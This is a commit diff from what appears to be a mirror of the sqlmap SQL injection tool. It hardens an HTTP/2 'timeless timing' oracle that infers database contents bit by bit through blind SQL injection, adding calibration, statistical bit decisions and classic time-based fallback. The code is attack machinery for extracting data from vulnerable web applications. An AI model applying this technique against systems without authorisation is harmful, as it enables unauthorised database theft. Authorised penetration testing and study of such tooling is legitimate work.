sqlmapproject/sqlmap
1
0
Fork 0
mirror of https://github.com/sqlmapproject/sqlmap.git synced 2026-10-12 02:22:55 +00:00
Code Issues Packages Projects Releases Wiki Activity

Stabilization of --timeless

Browse Source
This commit is contained in:
Miroslav Štampar
2026-08-07 13:13:48 +02:00
parent 776643e3bd
commit 7b8bf447a0
6 changed files with 950 additions and 231 deletions
Download Patch File Download Diff File Expand all files Collapse all files
lib/core/option.py
+1
View File
@@ -2357,6 +2357,7 @@ def _setKnowledgeBaseAttributes(flushAll=True):
kb.technique = None
kb.timeless = None # active HTTP/2 timeless-timing oracle (lib/request/timeless.py) or None
kb.timelessHinted = False # whether the "target speaks HTTP/2 -> try --timeless" nudge was shown (once/run)
kb.timelessRestore = None # classic time-based vector to re-forge stragglers onto after disengaging
kb.tempDir = None
kb.testMode = False
kb.testOnlyCustom = False
lib/core/settings.py
+1 -1
View File
@@ -20,7 +20,7 @@ from lib.core.enums import OS
from thirdparty import six
# sqlmap version (<major>.<minor>.<month>.<monthly commit>)
VERSION = "1.10.8.7"
VERSION = "1.10.8.8"
TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable"
TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34}
VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE)
lib/request/connect.py
+47 -22
View File
@@ -722,13 +722,12 @@ class Connect(object):
if conf.http2:
from lib.request.http2 import open_url as http2OpenUrl
from lib.request.http2 import proxy_tuple
h2proxy = None
if conf.proxy:
_proxyParts = _urllib.parse.urlsplit(conf.proxy if "://" in conf.proxy else "http://%s" % conf.proxy)
if (_proxyParts.scheme or "").lower().startswith("socks"):
raise SqlmapMissingDependence("native HTTP/2 client does not support SOCKS proxies (omit '--http2' or use an HTTP proxy)")
h2proxy = (_proxyParts.hostname, _proxyParts.port or 8080, conf.proxyCred or None)
try:
h2proxy = proxy_tuple(conf.proxy, conf.proxyCred)
except ValueError:
raise SqlmapMissingDependence("native HTTP/2 client does not support SOCKS proxies (omit '--http2' or use an HTTP proxy)")
try:
conn = http2OpenUrl(url, method or (HTTPMETHOD.POST if post is not None else HTTPMETHOD.GET), headers, post, timeout, follow_redirects=kb.choices.redirect != REDIRECTION.NO, proxy=h2proxy)
@@ -1152,6 +1151,15 @@ class Connect(object):
# so its sentinel-bracketed comparison can be negated to build the symmetric-oracle pair.
timelessOrigValue = value if (timeBasedCompare and kb.get("timeless") is not None) else None
# Timeless disengaged mid-value: bisection froze its comparison template from the heavy (no-delay)
# vector when this value started, so it keeps forging heavy payloads until it builds the next one -
# and wall-clock comparison reads every one of them as False. Re-forge those stragglers onto the
# restored vector. Only fires while such a payload is actually in flight (it must still carry the
# timeless sentinels), so it is a no-op on any ordinary time-based scan.
if timeBasedCompare and value and kb.get("timelessRestore") and kb.get("timeless") is None:
from lib.request.timeless import restoreClassicValue
value = restoreClassicValue(value, kb.timelessRestore) or value
get = None
post = None
cookie = None
@@ -1643,6 +1651,18 @@ class Connect(object):
elif postUrlEncode:
post = urlencode(post, spaceplus=kb.postSpaceToPlus)
# The timeless path returns before the ordinary send, so run the '--safe-url'/'--safe-req' keep-alive
# for it too - a long extraction otherwise loses the session it depends on. Not under buildOnly:
# that is the timeless oracle assembling the very requests of this comparison, and counting each of
# them would fire the safe request several times per bit.
if (conf.safeFreq or 0) > 0 and not buildOnly:
kb.queryCounter += 1
if kb.queryCounter % conf.safeFreq == 0:
if conf.safeUrl:
Connect.getPage(url=conf.safeUrl, post=conf.safePost, cookie=cookie, direct=True, silent=True, ua=ua, referer=referer, host=host)
elif kb.safeReq:
Connect.getPage(url=kb.safeReq.url, post=kb.safeReq.post, method=kb.safeReq.method, auxHeaders=kb.safeReq.headers)
# When the timeless oracle is engaged (by action() at the start of extraction, so the heavy vector
# is in place before any payload is built), a boolean comparison is answered by relative HTTP/2
# response order instead of wall-clock timing - orders of magnitude faster and jitter-immune, and
@@ -1650,25 +1670,38 @@ class Connect(object):
# as it would be sent (buildOnly) and the bit is read from a coalesced pair. Not engaged -> timing.
if timeBasedCompare and kb.get("timeless") is not None:
from lib.request.timeless import CONNECTIVITY_ERRORS
from lib.request.timeless import TimelessUnusable
from lib.request.timeless import disengage
from lib.request.timeless import negatePayload
# Build the condition and negation requests through the SAME path (queryPage buildOnly on the
# raw pre-placement value) so the pair differs ONLY by the negated comparison - building cond
# from the already-placed uri/get/post while neg goes through fresh placement would make them
# non-corresponding and flip the order.
negValue = negatePayload(timelessOrigValue)
condSpec = Connect.queryPage(timelessOrigValue, place=place, buildOnly=True)
negSpec = Connect.queryPage(negValue, place=place, buildOnly=True) if negValue is not None else None
try:
if negValue is None:
# No sentinels (a tamper script mangled them, or a non-timeless vector slipped through):
# the symmetric oracle cannot be built, and there is no calibrated alternative reading.
raise TimelessUnusable("payload carries no negatable comparison")
condSpec = Connect.queryPage(timelessOrigValue, place=place, buildOnly=True)
negSpec = Connect.queryPage(negValue, place=place, buildOnly=True)
return kb.timeless.readBitFromSpecs(condSpec, negSpec)
except CONNECTIVITY_ERRORS as ex:
# The oracle's own per-pair retries (see _pairOrder) are exhausted - the target has stopped
# negotiating HTTP/2 altogether (e.g. a load-balanced backend that only some nodes speak it
# on), not just dropped one connection. Disengage (restores the classic time-based vector)
# and fall through below to the normal wall-clock comparison instead of crashing the scan.
from lib.request.timeless import disengage
warnMsg = "HTTP/2 timeless timing lost connectivity ('%s'). Falling back to classic time-based" % getSafeExString(ex)
# Either the oracle can no longer be trusted (a fresh connection failed calibration, the
# responses drifted off the calibrated control) or the target stopped negotiating HTTP/2
# altogether. Disengage - which restores the classic time-based vector - and answer this
# comparison the wall-clock way instead of crashing the scan. The payload in flight was
# forged from the heavy (millisecond) vector, so it has to be re-forged onto the restored
# one first: re-sending it as-is would read False whatever the truth.
warnMsg = "HTTP/2 timeless timing is no longer reliable ('%s'). Falling back to classic time-based" % getSafeExString(ex)
singleTimeWarnMessage(warnMsg)
disengage()
# Re-run this comparison the wall-clock way. The payload in flight was forged from the
# heavy (millisecond) vector, so re-sending it as-is would read False whatever the truth -
# the straggler rewrite at the top of queryPage puts it back on the restored vector, the
# same way it will handle the rest of this value.
if kb.get("timelessRestore"):
return Connect.queryPage(timelessOrigValue, place=place, content=content, getRatioValue=getRatioValue, silent=silent, method=method, timeBasedCompare=timeBasedCompare, noteResponseTime=noteResponseTime, auxHeaders=auxHeaders, response=response, raise404=raise404, removeReflection=removeReflection, disableTampering=disableTampering, ignoreSecondOrder=ignoreSecondOrder)
if timeBasedCompare and not conf.disableStats:
if len(kb.responseTimes.get(kb.responseTimeMode, [])) < MIN_TIME_RESPONSES:
@@ -1712,14 +1745,6 @@ class Connect(object):
warnMsg += "10 or more)"
logger.critical(warnMsg)
if (conf.safeFreq or 0) > 0:
kb.queryCounter += 1
if kb.queryCounter % conf.safeFreq == 0:
if conf.safeUrl:
Connect.getPage(url=conf.safeUrl, post=conf.safePost, cookie=cookie, direct=True, silent=True, ua=ua, referer=referer, host=host)
elif kb.safeReq:
Connect.getPage(url=kb.safeReq.url, post=kb.safeReq.post, method=kb.safeReq.method, auxHeaders=kb.safeReq.headers)
start = time.time()
if kb.nullConnection and not content and not response and not timeBasedCompare:
lib/request/http2.py
+18
View File
@@ -1557,6 +1557,24 @@ def _quote_target_component(value, safe):
return quote(value, safe=safe)
def proxy_tuple(proxy, cred=None):
"""Convert a sqlmap '--proxy' value into the (host, port, cred) tuple the `proxy` parameter of this
client expects. Returns None when unset. SOCKS is not supported by the native client, so it raises
ValueError and leaves it to the caller to decide how to surface that (hard error / skip the feature).
>>> proxy_tuple("http://127.0.0.1:8080")
('127.0.0.1', 8080, None)
>>> proxy_tuple("127.0.0.1")
('127.0.0.1', 8080, None)
"""
if not proxy:
return None
parts = urlsplit(proxy if "://" in proxy else "http://%s" % proxy)
if (parts.scheme or "").lower().startswith("socks"):
raise ValueError("native HTTP/2 client does not support SOCKS proxies")
return (parts.hostname, parts.port or 8080, cred or None)
def open_url(url, method="GET", headers=None, body=None, timeout=30, follow_redirects=True,
max_redirects=10, proxy=None, verify=False, ssl_context=None):
req_headers = headers or {}
lib/request/timeless.py
+448 -208
View File
@@ -6,23 +6,38 @@ See the file 'LICENSE' for copying permission
"""
# HTTP/2 "timeless timing" oracle (Van Goethem et al., USENIX Security 2020) built on the native
# client's exchange_pair() primitive (lib/request/http2.py). Two requests are coalesced into a single
# TCP write and multiplexed on one connection; because they share the packet and the path, network
# jitter hits both equally and cancels, so the RELATIVE order in which their responses complete reflects
# only the server-side processing delta. That lets a millisecond (or sub-ms) difference in query work be
# read that absolute wall-clock timing, drowned by jitter, cannot resolve - and it needs no SLEEP: the
# NATURAL execution-time gap between a true and a false boolean branch is signal enough on most engines.
# client's exchange_pair() primitive (lib/request/http2.py). Two requests are multiplexed on one
# connection and handed to the kernel in a single application-level write; because they travel the same
# path at (near) the same instant, network jitter hits both alike and largely cancels, so the RELATIVE
# order in which their responses complete tracks the server-side processing delta far more tightly than
# absolute wall-clock timing can. That lets a millisecond-scale difference in query work be read - and it
# needs no SLEEP: the NATURAL execution-time gap between a true and a false boolean branch is signal
# enough on most engines. (A single sendall() is not a guarantee of packet-level coalescing, nor of
# concurrent server-side handling - which is exactly why nothing here is applied unmeasured.)
#
# The oracle is only valid when the target processes the two streams CONCURRENTLY; a serializing
# front-proxy makes order track arrival, not work. calibrate() detects that (and estimates the readable
# delta) so the caller never applies the oracle blind - it falls back to classic time-based instead.
# Calibration is re-run on EVERY connection the oracle opens (a load balancer can hand a later connection
# to a serializing node) and periodically re-checked for drift, and each read validates that both streams
# came back with the response status calibration saw - a WAF block, an expired session or an errored
# primitive can otherwise masquerade as a timing vote.
#
# LIMITS: a pair is exchanged on a dedicated connection, outside the urllib stack, so the response-side
# pipeline (Set-Cookie, redirect policy, retry-on-content, rate-limit backoff, traffic logging) does not run
# for it - only '--safe-url'/'--safe-req', which queryPage() applies to this path too. That is bounded, not
# silent: any of those conditions changes the response status, which the calibrated-status check turns into
# a disengage-and-fall-back rather than a wrong bit.
import math
import socket
import ssl
import threading
import time
from lib.core.enums import DBMS
from lib.request.http2 import _H2Connection
from lib.request.http2 import _UnprocessedStream
# Serializes the one-shot autoEngage() so concurrent worker threads never double-calibrate/double-engage.
_engageLock = threading.Lock()
@@ -30,10 +45,18 @@ _engageLock = threading.Lock()
# Transport-level failures that mean "this connection/attempt is unusable" - covers a mid-exchange drop
# (GOAWAY, reset) as well as a failed (re)connect, including the h2 client's own IOError when the server
# does not negotiate ALPN 'h2' on a fresh socket (seen on backends that speak h2 inconsistently, e.g. only
# some nodes behind a load balancer). Shared by _pairOrder (per-pair retry) and connect.py (the give-up path).
# some nodes behind a load balancer). Used by connect.py as the give-up path: anything reaching it means
# the oracle cannot continue, so the scan disengages and resumes on classic time-based.
CONNECTIVITY_ERRORS = (socket.error, ssl.SSLError, IOError)
class TimelessUnusable(IOError):
"""The oracle cannot produce a trustworthy bit on this target any more (a fresh connection failed
calibration, the responses stopped matching the calibrated control, ...). Derives from IOError so
connect.py's CONNECTIVITY_ERRORS handler disengages and falls back to classic time-based rather
than the scan continuing on a channel that is no longer known-good."""
def buildConditionPair(condition, heavy, cheap="0"):
"""Turn a boolean `condition` (the same comparison bisection injects at INFERENCE_MARKER, e.g.
'ORD(...)>64') into the two INFERENCE expressions the timeless oracle needs: one that makes the DB
@@ -57,98 +80,165 @@ def buildConditionPair(condition, heavy, cheap="0"):
return condExpr, negExpr
def _pairOrder(connSource, reqA, reqB, timeout, retries=2):
"""Send reqA and reqB as one coalesced pair; return the stream id that finished FIRST plus the two
stream ids in send order (reqA got the lower id).
def _pairOrder(connSource, reqA, reqB, timeout, retries=2, expectStatus=None):
"""Send reqA and reqB as one coalesced pair; return (first, loSid, hiSid, status) - the stream id that
finished FIRST, the two stream ids in send order (reqA got the lower id) and the shared HTTP status.
`connSource` is either a live _H2Connection or a zero-arg callable returning one. The callable form
lets a dropped connection be replaced transparently and the pair re-sent: a long extraction routinely
outlives a single HTTP/2 connection (the server retires it with GOAWAY after its per-connection request
cap), and a coalesced boolean-read pair is idempotent, so re-sending it on a fresh connection is safe.
Opening that fresh connection is retried the same way - it can fail just like an in-progress exchange
(including ALPN renegotiation failing on the new socket). A raw connection (used by calibration and the
self-test) is not retried - it simply raises."""
lets a connection that the server retired be replaced transparently and the pair re-sent - a long
extraction routinely outlives one HTTP/2 connection (GOAWAY past the per-connection request cap).
REPLAY SAFETY: a coalesced pair is NOT blindly idempotent (the injection point can sit in a POST, and
an application may count/mutate on every hit), so only failures the peer PROVED left the streams
unprocessed are re-sent - that is exactly the h2 client's _UnprocessedStream (GOAWAY above
Last-Stream-ID / REFUSED_STREAM, see RFC 9113 6.8). A failure while OPENING the replacement connection
is retried too (nothing was sent yet). Everything else - protocol/compression errors, an ambiguous
mid-exchange drop, a deterministic header error - raises immediately: guessing wrong there either
re-runs a state-changing request or loops on an unfixable condition.
RESPONSE VALIDATION: the two responses are not thrown away. Both streams must carry the SAME status,
and (when `expectStatus` is given - the status calibration measured) that status. Otherwise a WAF 403,
an expired-session 401/302, a rate-limit 429 or a 500 from a primitive the server version rejects would
be read as a perfectly good timing vote. A mismatch is re-sent a couple of times (transient blip) and
then raises TimelessUnusable so the scan falls back instead of extracting from noise."""
attempt = 0
while True:
conn = None
try:
conn = connSource() if callable(connSource) else connSource
order, _results = conn.exchange_pair([reqA, reqB], timeout)
return order[0], conn.next_sid - 4, conn.next_sid - 2
except TimelessUnusable: # a definitive verdict (failed calibration), not a blip
raise
except CONNECTIVITY_ERRORS:
if conn is not None:
conn.close() # retire; a callable source reopens on the next pass
attempt += 1
if not callable(connSource) or attempt > retries:
raise
continue
try:
order, results = conn.exchange_pair([reqA, reqB], timeout)
except _UnprocessedStream:
conn.close() # retire; a callable source reopens on the next pass
attempt += 1
if not callable(connSource) or attempt > retries:
raise
continue
except CONNECTIVITY_ERRORS:
conn.close()
raise
loSid, hiSid = conn.next_sid - 4, conn.next_sid - 2
status = results[loSid][0]
if status == results[hiSid][0] and expectStatus in (None, status):
return order[0], loSid, hiSid, status
attempt += 1
if attempt > retries:
raise TimelessUnusable("response status drifted from the calibrated control (%s/%s, expected %s)"
% (results[loSid][0], results[hiSid][0], expectStatus))
def readBit(connSource, reqCond, reqNeg, votes=5, timeout=30):
"""Read one boolean by the cond-last FRACTION over symmetric pairs, ESCALATING when the fraction is
ambiguous (load-degraded). `connSource` is a live connection or a factory (see _pairOrder) so a
connection dropped mid-vote (e.g. server GOAWAY) is replaced and that pair re-sent transparently.
# Wald sequential probability ratio test (SPRT) parameters for readBit(). The two hypotheses are the two
# populations a cond-last vote can be drawn from:
# H1 (bit TRUE) - reqCond runs the heavy branch, so it finishes last with probability ~SPRT_P_TRUE
# H0 (bit FALSE) - reqCond is the cheap one and finishes last with probability ~0 (real false / NULL
# end-of-string) or ~0.5 (a DBMS that ERRORS past the end of a string, e.g. CockroachDB,
# where both requests error and the order is a coin flip)
# H0 is therefore modelled at the WORST of those, p=0.5 - the boundary the test has to hold against, and
# the reason the decision line cannot simply sit at 0.5. Both error rates are bounded by SPRT_ERROR by
# construction, which the old "fraction >= 0.8 -> True, <= 0.5 -> False" rule was not: it could return
# FALSE the moment a single late vote dragged the running fraction back to 0.5 (3/5 -> 3/6 decided at six
# votes despite a cap of 25), giving a genuine but load-degraded TRUE bit a double-digit miss rate.
# H1 is picked from the calibration the target actually measured, exactly as the old rule picked its vote
# count from it. On a target whose tuning sweep came back UNANIMOUS the votes really are deterministic:
# measured live (MariaDB 11.8 over HTTP/2), 45 bits / 1350 votes idle and 188 bits / 5640 votes under 4x
# self-induced load produced 1.00 on every TRUE bit and 0.00 on every FALSE one - not one disagreeing vote
# in 6990. That is what the separation gate buys (MIN_HEAVY_MS x loadFactor and MIN_SEPARATION_FRAC force a
# cost whose delta dwarfs intra-pair jitter), so modelling H1 near 1.0 there is a measurement, not
# optimism - and it keeps a bit at the same ~5 pairs the old fixed rule spent. A sweep that came back
# BELOW unanimous says the delta is marginal, and gets the conservative model plus a bigger minimum sample.
SPRT_P_TRUE = 0.85 # conservative model: a target that calibrated below unanimous
SPRT_P_TRUE_CLEAN = 0.97 # ... and one whose tuning sweep did not miss a single trial
SPRT_ERROR = 0.02 # bound on BOTH the false-positive and the false-negative rate
SPRT_CAP_FACTOR = 16 # ceiling, in multiples of the minimum sample, for an undecided bit
# Realised error/cost per bit, 20k simulated bits per operating point (`p` = per-vote cond-last probability):
# p=1.00 p=0.95 p=0.90 p=0.80 p=0.50 (eos coin flip)
# clean (0.97, 4) 0.0% / 6 1.9% / 8 10% / 10 49% / 12 1.8% / 6
# marginal (0.85, 8) 0.0% / 8 0.0% / 10 0.1% / 12 5.1% / 21 1.4% / 14
# old rule 0.0% / 5 - - ~15% / 5 ~20% / 5
# Both settings crush the end-of-string coin flip that used to invent trailing characters (~20% -> ~1.5%),
# which is the failure this decision engine exists to prevent. The clean setting trades tolerance of a
# degraded p for that, so it is only granted when calibration was perfect AND every connection has to
# prove the same unanimity before it may read a bit (see VERIFY_THRESHOLD_CLEAN) - a connection that
# cannot is not in the regime the model describes, and falling back to classic time-based is the correct
# answer for it rather than reading bits at 49%.
def readBit(connSource, reqCond, reqNeg, votes=4, timeout=30, expectStatus=None, pTrue=SPRT_P_TRUE):
"""Read one boolean from symmetric pairs by a sequential likelihood-ratio test on the cond-last votes.
`connSource` is a live connection or a factory (see _pairOrder) so a connection the server retires
mid-read is replaced and that pair re-sent transparently.
reqCond does the heavy work iff the guessed condition is TRUE; reqNeg does the SAME heavy work iff the
condition is FALSE (it carries the negated condition). Exactly one runs heavy, so whichever finishes
LAST names the answer. Each vote alternates which stream id carries reqCond (cancels lower-id-first bias)
and counts how often reqCond finished last:
- real TRUE -> reqCond (heavy) finishes last almost every vote -> fraction ~1.0
- real FALSE -> reqNeg (heavy) finishes last -> fraction ~0.0
- END-OF-STRING -> the comparison is NULL, and negatePayload's NULL-safe negation makes reqNeg run
heavy on that NULL, so reqCond finishes first -> fraction ~0.0 (on a DBMS that instead ERRORS past
the end - CockroachDB - both requests error and it is a ~0.5 coin flip).
Decision: fraction >= 0.8 -> TRUE; <= 0.5 -> FALSE (covers real-false ~0, NULL end-of-string ~0, and
CockroachDB error end-of-string ~0.5, so the string terminates cleanly instead of inventing phantom
trailing characters). The 0.5-0.8 band is where a genuine TRUE bit lands when self-induced load (e.g.
--threads: N value-parallel workers => ~Nx heavy queries contend and add jitter, though calibration was
single-threaded) drags its fraction down; that is NOT a mean shift but variance, so we ESCALATE - keep
voting up to a cap and average it out - which recovers it above 0.8 without lowering the threshold (a
lower threshold would misread CockroachDB's ~0.5 error-eos as a character). SYMMETRIC, so the base query
time cancels - robust where absolute pair-time, gap, and always-heavy-reference signals are confounded."""
condLast, i = 0, 0
cap = votes * 5 # escalation ceiling for ambiguous (load-degraded) bits
LAST names the answer. Votes alternate which stream id carries reqCond, and a decision is only taken on
an EVEN vote count, so both orderings contribute equally and lower-id-first bias cancels exactly.
Each vote updates the log-likelihood ratio of H1 (TRUE, cond-last with probability `pTrue`) against
H0 (FALSE, cond-last with probability up to 0.5 - see the constants above); crossing +/-log((1-e)/e)
decides with both error rates bounded by SPRT_ERROR. This is also CHEAPER than a fixed sample on the
common case: an unambiguous FALSE (every vote cond-first) settles in the minimum sample, an unambiguous
TRUE shortly after, while an ambiguous bit - where --threads workers contend and drag the fraction into
the middle - simply keeps voting instead of guessing. Reaching the cap without a crossing decides by the
likelier hypothesis. SYMMETRIC, so the base query time cancels - robust where absolute pair-time, gap,
and always-heavy-reference signals are confounded."""
bound = math.log((1.0 - SPRT_ERROR) / SPRT_ERROR)
stepLast = math.log(pTrue / 0.5) # a cond-last vote: evidence for TRUE
stepFirst = math.log((1.0 - pTrue) / 0.5) # a cond-first vote: (stronger) evidence for FALSE
minVotes = max(2, votes + votes % 2)
cap = minVotes * SPRT_CAP_FACTOR
llr, i = 0.0, 0
while True:
if i % 2 == 0:
first, loSid, _hiSid = _pairOrder(connSource, reqCond, reqNeg, timeout)
condSid = loSid
first, condSid, _hiSid, _status = _pairOrder(connSource, reqCond, reqNeg, timeout, expectStatus=expectStatus)
else:
first, _loSid, hiSid = _pairOrder(connSource, reqNeg, reqCond, timeout)
condSid = hiSid
if first != condSid: # reqCond finished last -> it ran heavy -> vote says TRUE
condLast += 1
first, _loSid, condSid, _status = _pairOrder(connSource, reqNeg, reqCond, timeout, expectStatus=expectStatus)
llr += stepLast if first != condSid else stepFirst # cond finished last -> it ran heavy
i += 1
if i < votes: # gather a minimum sample before deciding
if i % 2 or i < minVotes: # decide only on a balanced sample, never below the minimum
continue
fraction = condLast / float(i)
if fraction >= 0.8:
if llr >= bound:
return True
if fraction <= 0.5:
if llr <= -bound:
return False
if i >= cap: # still ambiguous after escalating -> decide by the same threshold
return fraction >= 0.8
if i >= cap:
return llr > 0.0
def calibrate(conn, reqSlow, reqFast, trials=40, threshold=0.9, timeout=30, progress=None):
"""Decide whether the target is usable for the timeless oracle. Sends a KNOWN-asymmetric pair
(reqSlow does real extra work, reqFast short-circuits) in BOTH stream-id orderings; on a concurrent
backend the slow request finishes last regardless of its id. Returns (usable, confidence) where
confidence is the fraction of trials in which the slow request finished last. Below `threshold` the
backend is serializing (or the delta is unreadable) -> caller must NOT use the oracle. `progress`, if
given, is called once per trial so the caller can stream a progress indicator."""
slowLast = 0
def calibrate(conn, reqSlow, reqFast, trials=40, threshold=0.9, timeout=30, progress=None, deadline=None, expectStatus=None):
"""Decide whether `conn` is usable for the timeless oracle. Sends a KNOWN-asymmetric pair (reqSlow does
real extra work, reqFast short-circuits) in BOTH stream-id orderings; on a concurrent backend the slow
request finishes last regardless of its id. Returns (usable, confidence, status) where confidence is the
fraction of trials in which the slow request finished last and status is the HTTP status both streams
consistently returned (the control every later read is validated against). Below `threshold` the backend
is serializing (or the delta is unreadable) -> caller must NOT use the oracle. `progress`, if given, is
called once per trial so the caller can stream a progress indicator. `deadline` is an absolute
time.time() budget: a target that answers just slowly enough could otherwise keep calibration alive
indefinitely, since the per-socket timeout only bounds one exchange."""
slowLast, status = 0, None
for i in range(trials):
if deadline is not None and time.time() > deadline:
return False, 0.0, status
if i % 2 == 0:
first, loSid, _hiSid = _pairOrder(conn, reqSlow, reqFast, timeout)
slowSid = loSid
first, slowSid, _hiSid, status = _pairOrder(conn, reqSlow, reqFast, timeout, expectStatus=expectStatus)
else:
first, _loSid, hiSid = _pairOrder(conn, reqFast, reqSlow, timeout)
slowSid = hiSid
first, _loSid, slowSid, status = _pairOrder(conn, reqFast, reqSlow, timeout, expectStatus=expectStatus)
if first != slowSid:
slowLast += 1
expectStatus = status # from the first pair on, demand a stable response class
if progress is not None:
progress()
confidence = slowLast / float(trials) if trials else 0.0
return (confidence >= threshold), confidence
return (confidence >= threshold), confidence, status
def connect(host, port=443, proxy=None, timeout=30):
@@ -157,99 +247,192 @@ def connect(host, port=443, proxy=None, timeout=30):
return _H2Connection(host, port, proxy, timeout)
def proxyProfile():
"""The HTTP-proxy tuple the native h2 client needs for the current run, or None when there is none.
Every timeless connection must go through it: the client calls socket.create_connection() itself, so
it is reached by neither the urllib proxy handlers nor the socks module-wrapping '--tor' installs -
connecting anyway would send the real source address straight to the target. SOCKS the native client
cannot speak at all, so that raises ValueError and timeless declines instead of bypassing it."""
from lib.core.data import conf
from lib.request.http2 import proxy_tuple
if conf.tor and not conf.proxy: # SOCKS Tor: only the httplib socket is wrapped, ours is not
raise ValueError("native HTTP/2 client does not support SOCKS proxies")
return proxy_tuple(conf.proxy, conf.proxyCred)
# Per-connection re-calibration of a worker/replacement connection. Shorter than the initial tuning sweep
# (the cost is already picked - this only has to prove that THIS connection's backend handles the two
# streams concurrently and answers with the calibrated status) but strict, because a connection that quietly
# serializes returns wrong bits without ever raising.
VERIFY_TRIALS = 10
VERIFY_THRESHOLD = 0.9
# ... and the bar a connection must clear to be read at the CLEAN model (SPRT_P_TRUE_CLEAN): unanimous, the
# same thing the tuning sweep saw and the same thing 6990 live votes produced. Not a harsh bar on a target
# that belongs in that regime - and a connection that misses it is precisely one the clean model would
# misread, so rejecting it (scan falls back to classic time-based) is the answer, not admitting it.
VERIFY_THRESHOLD_CLEAN = 1.0
# Pairs sent on one connection before its control probe is re-run, to catch runtime drift (a backend that
# starts serializing under load, a node swapped in behind the balancer). ~100 bits apart, so the re-check
# costs ~2% of the pairs. Response-status drift needs no schedule - every pair is validated against the
# calibrated status.
VERIFY_EVERY = 500
class TimelessOracle(object):
"""The engaged timeless-timing oracle, held on kb.timeless while active. queryPage() routes every
boolean comparison (timeBasedCompare requests) here instead of measuring wall-clock time: it takes the
already-assembled condition request (built via buildOnly), pairs it against a FIXED always-heavy
reference and reads the bit from response order. This reuses the entire bisection/inference/threading
stack unchanged - bisection just calls queryPage and gets a bool.
already-assembled condition request and its negation (both built via buildOnly), coalesces them into one
multiplexed pair and reads the bit from response order. This reuses the entire bisection/inference/
threading stack unchanged - bisection just calls queryPage and gets a bool.
Thread safety: each worker thread gets its OWN H2 connection (threading.local), mirroring keepalive.py
and the http2 pool - streams from different threads never interleave on one socket, so parallel
per-value extraction (--threads / _threadedInferenceValues) is safe. The reference request is an
immutable spec-derived dict, so it is shared read-only across threads."""
per-value extraction (--threads / _threadedInferenceValues) is safe.
def __init__(self, host, port, refReq, proxy=None, asymVotes=12, votes=5, timeout=30):
Every connection is calibrated BEFORE it reads a bit - the initial sweep proves one connection to one
backend node, which says nothing about the per-thread connections opened afterwards or a replacement
opened after a GOAWAY (a load balancer can route those to a node that serializes streams). The
known-asymmetric probe pair used for that, and the response status it produced, are held here and
re-checked periodically so runtime drift is caught rather than silently extracted through."""
def __init__(self, host, port, probeSlow, probeFast, proxy=None, votes=4, timeout=30, status=None,
pTrue=SPRT_P_TRUE, verifyThreshold=VERIFY_THRESHOLD):
self.host, self.port, self.proxy = host, port, proxy
self.refReq = refReq # fixed always-heavy reference request (asymmetric tiebreak)
self.asymVotes = asymVotes # asymmetric tiebreak: fixed pairs, fraction-thresholded
self.votes = votes # symmetric: pairs per bit, cond-last fraction thresholded (readBit);
# enough votes that TRUE ~100% and end-of-string ~50% separate cleanly
self.probeSlow, self.probeFast = probeSlow, probeFast # known-asymmetric pair, for (re)calibration
self.status = status # response status calibration saw; every read is validated against it
self.votes = votes # minimum (balanced) pairs per bit before readBit's SPRT may decide
self.pTrue = pTrue # per-vote reliability modelled for a TRUE bit (from calibration)
self.verifyThreshold = verifyThreshold # bar a connection must clear to read at that model
self.timeout = timeout
self._local = threading.local()
self._conns = [] # every opened connection, for clean teardown
self._lock = threading.Lock()
self.savedTechnique = None # active technique whose vector we swapped (restored on disengage)
self._closed = False
self.savedData = None # injection data whose vector we swapped (restored on disengage)
self.savedVector = None
def _verify(self, conn):
"""Prove that `conn` reads bits correctly, or raise. Raising here is the safe outcome: connect.py
disengages and the scan resumes on classic time-based."""
usable, confidence, status = calibrate(conn, self.probeSlow, self.probeFast, trials=VERIFY_TRIALS,
threshold=self.verifyThreshold, timeout=self.timeout,
expectStatus=self.status)
if not usable:
raise TimelessUnusable("connection failed timeless calibration (confidence %.2f)" % confidence)
if self.status is None:
self.status = status
def _retire(self, conn):
"""Close `conn` and forget it, so neither a reconnect nor teardown touches it again."""
self._local.conn = None
try:
conn.close()
except Exception:
pass
with self._lock:
try:
self._conns.remove(conn)
except ValueError:
pass
def _conn(self):
conn = getattr(self._local, "conn", None)
if conn is None or not conn.usable:
if conn is not None: # retire the dead one so reconnects don't leak sockets
try:
conn.close()
except Exception:
pass
with self._lock:
try:
self._conns.remove(conn)
except ValueError:
pass
conn = self._local.conn = connect(self.host, self.port, self.proxy, self.timeout)
with self._lock:
self._conns.append(conn)
reads = getattr(self._local, "reads", 0)
if conn is not None and conn.usable:
if reads < VERIFY_EVERY:
self._local.reads = reads + 1
return conn
try: # still alive, but due a drift re-check
self._verify(conn)
except Exception:
self._retire(conn)
raise
self._local.reads = 1
return conn
if conn is not None: # retire the dead one so reconnects don't leak sockets
self._retire(conn)
conn = connect(self.host, self.port, self.proxy, self.timeout)
with self._lock:
if self._closed: # disengaged while this socket was being opened
conn.close()
raise TimelessUnusable("timeless oracle was closed")
self._conns.append(conn)
try:
self._verify(conn) # never read a bit off an uncalibrated connection
except Exception:
self._retire(conn)
raise
self._local.conn, self._local.reads = conn, 1
return conn
def readBitFromSpecs(self, condSpec, negSpec=None):
"""Read the bit from the assembled condition request and, when available, its negation. With a
negSpec the SYMMETRIC oracle is used (cond-last fraction over votes - base query time cancels, so it
stays reliable on heavy/noisy enumeration queries and detects end-of-string as the ~50% split). The
asymmetric-vs-reference path is only a fallback for a non-sentinel vector (no negSpec) and must not
be used for a heavy-base condition (the trivial-base reference is not comparable). Specs are the
def readBitFromSpecs(self, condSpec, negSpec):
"""Read the bit from the assembled condition request and its negation, by the SYMMETRIC oracle
(cond-last votes over coalesced pairs - the base query time cancels, so it stays reliable on heavy or
noisy enumeration queries and reads end-of-string as the ~50% split). Specs are the
(url, method, headers, post) tuples from getPage(buildOnly=True)."""
reqCond = _specToReq(condSpec, self.host)
# Pass the bound _conn factory (not a resolved connection) so a pair whose connection is retired
# mid-read (server GOAWAY on a long dump) is transparently re-sent on a fresh one.
if negSpec is not None:
return readBit(self._conn, reqCond, _specToReq(negSpec, self.host), votes=self.votes, timeout=self.timeout)
return readBitAsymmetric(self._conn, reqCond, self.refReq, self.asymVotes, self.timeout)
# mid-read (server GOAWAY on a long dump) is transparently re-sent on a fresh, re-calibrated one.
